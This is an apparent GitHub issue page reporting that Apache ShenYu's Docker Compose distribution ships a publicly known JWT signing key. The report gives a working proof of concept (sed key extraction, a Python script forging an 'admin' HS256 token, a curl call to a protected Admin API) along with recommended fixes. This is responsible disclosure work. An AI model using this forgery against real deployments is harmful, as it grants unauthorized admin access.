[BUG] Docker Compose ships a known JWT signing key, enabling Authentication Token forgery
- Dominant language
- Java
- Stars
- 8.8k
- Forks
- 3.1k
- Avg merge
- 7d 1h
- Merged PRs (30d)
- 85
Description
### Is there an existing issue for this?
- [x] I have searched the existing issues
### Current Behavior
# Docker Compose ships a known JWT signing key, enabling Authentication Token forgery
## Summary
The official Docker Compose distribution ships a publicly known, fixed value for `SHENYU_JWT_SECRETKEY`.
A deployment started from this Compose file therefore uses a JWT signing key that is available to every repository reader. An attacker who can reach the ShenYu Admin service can create a valid JWT Authentication Token and bypass password authentication for an existing enabled dashboard user.
This is separate from [#6398](https://github.com/apache/shenyu/issues/6398) and [#6408](https://github.com/apache/shenyu/pull/6408). PR #6408 correctly decoupled JWT signing from user password hashes, but the Docker Compose distribution still provides a known non-empty signing key.
## Relationship to #6398 and #6408
The existing issue and pull request addressed a different root cause:
- [Issue #6398](https://github.com/apache/shenyu/issues/6398) identified the reuse of a user's stored password hash as the JWT HMAC signing key. Anyone who obtained that hash could use it directly to sign tokens without recovering the original password.
- [PR #6408](https://github.com/apache/shenyu/pull/6408), merged on August 3, 2026, introduced `shenyu.jwt.secretKey` / `SHENYU_JWT_SECRETKEY`, updated both signing and verification, and added fail-fast validation for blank values and the legacy `defaultSecretKey` sentinel.
This report is not a duplicate of #6398. The current Docker Compose file supplies a different, non-empty public value. Because that value is not rejected by the new validation, a default Compose deployment can still run with a signing key known to repository readers.
## Affected code
The Docker Compose file injects the fixed JWT signing key:
- [docker-compose.yaml#L46-L50](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-dist/shenyu-docker-compose-dist/src/main/resources/docker-compose.yaml#L46-L50)
The startup validation rejects only an empty value and `defaultSecretKey`; it does not reject the Compose value:
- [JwtProperties.java#L41-L52](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/config/properties/JwtProperties.java#L41-L52)
ShenYu signs and verifies JWTs with this key using HMAC-SHA256:
- [JwtUtils.java#L99-L120](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/utils/JwtUtils.java#L99-L120)
The `userName` claim is used to recover an enabled dashboard user, and permissions are then resolved for that user:
- [ShiroRealm.java#L72-L127](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/shiro/config/ShiroRealm.java#L72-L127)
## Impact
An attacker does not need:
- a dashboard password;
- database access;
- a previously issued valid token; or
- the original JWT signing key from a secret store.
The attacker only needs network access to the Admin service and the username of an existing enabled dashboard account.
For example, if the default `admin` account exists, the attacker can create a JWT with:
```json
{
"userName": "admin",
"exp": 1893456000
}
```
The forged token can then be submitted through the `X-Access-Token` header to protected Admin APIs such as:
```text
GET /dashboardUser?currentPage=1&pageSize=1
GET /plugin?currentPage=1&pageSize=10
```
This results in authentication without performing the normal password-login flow.
This report does not rely on public exposure of port `9095`. Public exposure is a separate deployment issue. The security problem is that the official runnable configuration accepts a signing key that is known in advance, so any untrusted party that can reach the Admin trust boundary can forge Authentication Tokens.
## Reproduction
Run the official Compose distribution in a local test environment.
Extract the configured key from the supplied Compose file:
```bash
export SHENYU_JWT_SECRETKEY="$(
sed -n 's/^[[:space:]]*-[[:space:]]*SHENYU_JWT_SECRETKEY=//p' docker-compose.yaml | head -1
)"
```
Generate a JWT for an existing enabled dashboard user:
```bash
TOKEN="$(python3 - <<'PY'
import os
import time
import jwt
key = os.environ["SHENYU_JWT_SECRETKEY"]
token = jwt.encode(
{
"userName": "admin",
"exp": int(time.time()) + 300,
},
key,
algorithm="HS256",
)
print(token)
PY
)"
```
Send the token to a protected Admin endpoint:
```bash
curl -i \
-H "X-Access-Token: ${TOKEN}" \
"http://127.0.0.1:9095/dashboardUser?currentPage=1&pageSize=1"
```
Expected result: the protected request is accepted without a successful password login.
Using an invalid signing key causes JWT verification to fail and the request to be rejected.
## Recommended fix
1. Remove the fixed signing key from the repository.
2. Make the Compose deployment fail unless the operator explicitly supplies a secret:
```yaml
environment:
- SHENYU_JWT_SECRETKEY=${SHENYU_JWT_SECRETKEY:?Set a unique random JWT signing key}
```
3. Reject the known Compose placeholder explicitly in `JwtProperties`.
4. Document generation of a persistent cryptographically random key.
5. Ensure all Admin instances in a cluster use the same configured key.
6. Add a regression test proving that the default Compose configuration cannot start with a known signing key.
## Related references
- [Apache ShenYu issue #6398](https://github.com/apache/shenyu/issues/6398)
- [Apache ShenYu PR #6408](https://github.com/apache/shenyu/pull/6408)
- [Apache OFBiz security advisories](https://ofbiz.apache.org/security.html)
- [Apache OFBiz fix removing demo secret keys](https://github.com/apache/ofbiz-framework/commit/6ba1356af67dbda4848f4c852b9ad8d3afb545c1)
- [PraisonAI known JWT secret advisory](https://github.com/advisories/GHSA-cwj8-7gp2-ggcw)
- [Go Restful API Boilerplate known JWT secret advisory](https://github.com/advisories/GHSA-mqq6-462x-jxmm)
- [Flowise weak JWT defaults advisory](https://github.com/advisories/GHSA-cc4f-hjpj-g9p8)
- [FUXA hardcoded JWT fallback advisory](https://github.com/advisories/GHSA-c8m8-3jcr-6rj5)
- [LibreChat removal of published credential defaults](https://github.com/danny-avila/LibreChat/commit/1596df724a840f894831fc74f21de8d8df72fcb1)
This report is part of my ongoing research on Authentication Token security. If you have any questions or would like any part of this report clarified or independently verified, please feel free to contact me at any time. I would be very pleased to make a small contribution to improving Apache ShenYu’s security.
### Expected Behavior
_No response_
### Steps To Reproduce
_No response_
### Environment
```markdown
ShenYu version(s):
```
### Debug logs
_No response_
### Anything else?
_No response_
Contributor guide
No contributing guide indexed for this repository
Research direction
Start with shenyu-dist/shenyu-docker-compose-dist/src/main/resources/docker-compose.yaml and trace SHENYU_JWT_SECRETKEY into shenyu-admin/src/main/java/org/apache/shenyu/admin/config/properties/JwtProperties.java. Review JwtUtils.java and ShiroRealm.java, then add the regression coverage requested for the default Compose configuration. Done means a deployment cannot start with a repository-known signing key and operators are directed to provide a persistent random key.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- docker-compose, java
- Domain
- authentication, devops, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100